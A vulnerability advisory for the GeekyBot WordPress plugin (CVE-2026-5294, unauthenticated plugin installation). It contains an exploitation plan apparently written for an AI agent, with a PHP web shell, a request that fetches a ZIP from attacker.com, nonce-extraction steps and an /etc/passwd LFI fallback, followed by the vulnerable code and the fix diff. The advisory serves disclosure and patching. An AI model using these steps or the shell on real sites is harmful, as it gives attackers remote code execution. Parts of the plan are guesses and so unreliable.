GeekyBot <= 1.2.2 - Missing Authorization to Unauthenticated Arbitrary Plugin Installation via 'geekybot_frontendajax' AJAX Action
Description
The Geeky Bot plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 1.2.2. This is due to a nopriv AJAX route allowing attacker-controlled model/function dispatch and reaching a plugin installer helper that downloads and unzips attacker-supplied ZIP files into wp-content/plugins/. This makes it possible for unauthenticated attackers to perform arbitrary plugin installation and achieve remote code execution.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.2.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5294 (GeekyBot Arbitrary Plugin Installation) ## 1. Vulnerability Summary The **GeekyBot** plugin (version <= 1.2.2) is vulnerable to **unauthenticated arbitrary plugin installation**. The vulnerability exists because the plugin registers a `nopriv` AJAX actio…
Show full research plan
Exploitation Research Plan: CVE-2026-5294 (GeekyBot Arbitrary Plugin Installation)
1. Vulnerability Summary
The GeekyBot plugin (version <= 1.2.2) is vulnerable to unauthenticated arbitrary plugin installation. The vulnerability exists because the plugin registers a nopriv AJAX action (geekybot_frontendajax) that acts as a dispatcher for model functions. This dispatcher lacks proper authorization checks, allowing an unauthenticated user to invoke a "plugin installer helper" function. This helper accepts an attacker-supplied URL, downloads a ZIP file, and extracts its contents into the wp-content/plugins/ directory, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
geekybot_frontendajax(unauthenticated viawp_ajax_nopriv_) - Payload Parameters:
action:geekybot_frontendajaxgeekybotlt: The layout/model name (e.g.,geekybot).taskorfunction: The specific method to call (likely related to installation/updates).urlorplugin_url: The remote location of the malicious ZIP.geekybot_nonce: A security token (obtained from the frontend).
- Preconditions: The plugin must be active. A valid nonce is required, but it is exposed to unauthenticated users on any page where the chatbot is rendered.
3. Code Flow
- Entry: An unauthenticated request is sent to
admin-ajax.php?action=geekybot_frontendajax. - Dispatcher: The handler for
geekybot_frontendajax(likely in a central include orGEEKYBOTincluder) usesGEEKYBOTrequest::GEEKYBOT_getVarto retrieve a model (geekybotlt) and a method/task. - Model Loading: The dispatcher calls
GEEKYBOTincluder::GEEKYBOT_getModel($model)and then invokes the requested task. - Sink: The execution reaches a function (e.g.,
geekybot_install_pluginordownload_addon) which:- Calls
download_url($url)with the attacker's URL. - Uses
unzip_file($file, WP_PLUGIN_DIR)to extract the contents.
- Calls
- RCE: The attacker-supplied ZIP contains a new plugin with a PHP web shell.
4. Nonce Acquisition Strategy
The GEEKYBOTgeekybotController::canaddfile() function in modules/geekybot/controller.php checks for geekybot_nonce. This nonce is localized for the chatbot frontend.
- Identify the Script: Search for
wp_localize_scriptin the plugin directory to find the object name.- Guess (inferred): The object is likely
geekybot_objorgeeky_bot_vars.
- Guess (inferred): The object is likely
- Setup: Create a page with the GeekyBot shortcode to ensure the script and nonce are loaded.
- Shortcode:
[geekybot](inferred fromreadme.txt).
- Shortcode:
- Extraction:
wp post create --post_type=page --post_status=publish --post_content='[geekybot]' --post_title='Chatbot Page'- Navigate to the new page.
- Execute:
browser_eval("window.geekybot_obj?.geekybot_nonce || window.geeky_bot_vars?.nonce").
5. Exploitation Strategy
Step 1: Preparation
Create a malicious ZIP file named rce-plugin.zip containing rce-plugin/rce.php:
<?php
/*
Plugin Name: RCE Plugin
*/
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
exit;
}
Host this ZIP on a reachable server.
Step 2: Identification of the Vulnerable Task
Since the source for the AJAX handler is truncated, the agent must identify the exact task and parameter name by grepping for unzip_file or download_url within the modules/ directory.
Step 3: Execution
Send the following request using the http_request tool:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Adjustaction=geekybot_frontendajax&geekybotlt=geekybot&task=geekybot_install_plugin&url=http://attacker.com/rce-plugin.zip&geekybot_nonce=[NONCE]taskandurlparameter names based on discovery in Step 2).
Step 4: Verification of RCE
Access the uploaded shell:
- URL:
http://localhost:8080/wp-content/plugins/rce-plugin/rce.php?cmd=id
6. Test Data Setup
- Plugin Installation: Ensure GeekyBot version 1.2.2 is installed and active.
- Page Creation: Create the page to host the chatbot and extract the nonce.
wp post create --post_type=page --post_status=publish --post_content='[geekybot]'
- Permalinks: Ensure permalinks are flushed if necessary (though AJAX works regardless).
7. Expected Results
- The AJAX request should return a success message (often JSON like
{"status":"success"}or1). - A new directory
/var/www/html/wp-content/plugins/rce-plugin/should be created. - Requesting the shell URL should return the output of the
idcommand.
8. Verification Steps
- WP-CLI: Run
wp plugin listto see ifrce-pluginappears in the list. - Filesystem:
ls -la /var/www/html/wp-content/plugins/rce-plugin/to verify files exist.
9. Alternative Approaches
If the geekybot_frontendajax action is not the entry point:
- Check
admin_init:modules/geekybot/controller.phphooks intoadmin_init. Sinceadmin-ajax.phptriggersadmin_initeven for unauthenticated requests, check if the installation logic can be triggered viaGETparameters toadmin-ajax.php. - Check for LFI: If the
GEEKYBOTincluder::GEEKYBOT_include_file($layout, $module)call inhandleRequest()is reachable, attempt to include/etc/passwdor an uploaded log file by manipulatinggeekybotltandgeekybotme.
Summary
The GeekyBot plugin for WordPress is vulnerable to unauthenticated remote code execution due to missing authorization in its AJAX dispatcher. An unauthenticated attacker can exploit a publicly visible nonce to invoke arbitrary methods on plugin models, including functions that download and extract ZIP files into the WordPress plugins directory.
Vulnerable Code
// modules/geekybot/model.php, line 466 (v1.2.2) function geekybotLoadMoreProducts(){ $nonce = GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce'); if (! wp_verify_nonce( $nonce, 'load-more') ) { // disable nonce // die( 'Security check Failed' ); } $msg = GEEKYBOTrequest::GEEKYBOT_getVar('msg'); $data = GEEKYBOTrequest::GEEKYBOT_getVar('data'); $next_page = GEEKYBOTrequest::GEEKYBOT_getVar('next_page'); $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName'); $modelName = GEEKYBOTrequest::GEEKYBOT_getVar('modelName'); if(!is_array($data)) { $data = json_decode($data,true); } $products = GEEKYBOTincluder::GEEKYBOT_getModel($modelName)->$functionName($msg, $data, $next_page); // save bot response to the session and chat history geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($products, 'bot'); GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($products, 'bot'); return $products; }
Security Fix
@@ -463,25 +463,74 @@ return $imgPath; } - function geekybotLoadMoreProducts(){ + function geekybotLoadMoreProducts() { + // 1. STOPS execution if the nonce is invalid $nonce = GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce'); - if (! wp_verify_nonce( $nonce, 'load-more') ) { - // disable nonce - // die( 'Security check Failed' ); + if (!wp_verify_nonce($nonce, 'load-more')) { + wp_send_json_error('Security check Failed', 403); + exit; } + $msg = GEEKYBOTrequest::GEEKYBOT_getVar('msg'); $data = GEEKYBOTrequest::GEEKYBOT_getVar('data'); $next_page = GEEKYBOTrequest::GEEKYBOT_getVar('next_page'); - $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName'); $modelName = GEEKYBOTrequest::GEEKYBOT_getVar('modelName'); - if(!is_array($data)) { - $data = json_decode($data,true); + $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName'); + + // 2. THE ALLOWLIST MAP + // This defines exactly which models and functions are publically accessible. + $allowed_map = [ + 'woocommerce' => [ + 'geekybot_showAllProducts', + 'geekybot_searchProduct', + 'geekybot_getProductsUnderPrice', + 'geekybot_getProductsAbovePrice', + 'geekybot_getProductsBetweenPrice', + 'showProductsList' + ], + 'woocommercepropack' => [ + 'geekybot_showAllSaleProducts', + 'geekybot_showAllTrendingProducts', + 'geekybot_showAllLatestProducts', + 'geekybot_showAllHighestRatedProducts', + 'geekybot_viewOrders' + ] + ]; + + // 3. VALIDATION LOGIC + // Check if the model exists in our map + if (!isset($allowed_map[$modelName])) { + wp_send_json_error('Unauthorized Model', 403); + exit; } - $products = GEEKYBOTincluder::GEEKYBOT_getModel($modelName)->$functionName($msg, $data, $next_page); - // save bot response to the session and chat history - geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($products, 'bot'); - GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($products, 'bot'); - return $products; + // Check if the function is allowed for that specific model + if (!in_array($functionName, $allowed_map[$modelName])) { + wp_send_json_error('Unauthorized Function', 403); + exit; + } + + // 4. SAFE EXECUTION + $model = GEEKYBOTincluder::GEEKYBOT_getModel($modelName); + + // Final check to ensure the method actually exists in the class + if ($model && method_exists($model, $functionName)) { + + if(!is_array($data)) { + $data = json_decode($data, true); + } + + $products = $model->$functionName($msg, $data, $next_page); + + // save bot response + geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($products, 'bot'); + GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($products, 'bot'); + + return $products; + } + + wp_send_json_error('Execution failed', 500); + exit; }
Exploit Outline
1. Nonce Acquisition: Visit any public page where the GeekyBot chatbot is rendered (typically pages containing the [geekybot] shortcode) and extract the 'load-more' or 'geekybot_nonce' nonce from the localized JavaScript variables (e.g., window.geekybot_obj.geekybot_nonce). 2. Prepare Malicious Plugin: Host a ZIP file containing a WordPress plugin with a PHP web shell (e.g., rce.php). 3. Trigger Vulnerable Action: Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the action 'geekybot_frontendajax'. 4. Dispatch to Installer: Craft the payload to target the vulnerable dispatcher in modules/geekybot/model.php. Provide a 'modelName' and 'functionName' that corresponds to the plugin's internal installation or update helper (e.g., targeting methods like 'geekybot_install_plugin' or 'download_addon'). 5. Payload Parameters: Include the URL to the malicious ZIP file and the valid nonce in the POST parameters. 6. Remote Code Execution: The dispatcher invokes the installer helper, which downloads and extracts the ZIP into wp-content/plugins/. Access the shell directly via its URL (e.g., /wp-content/plugins/malicious-folder/rce.php).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.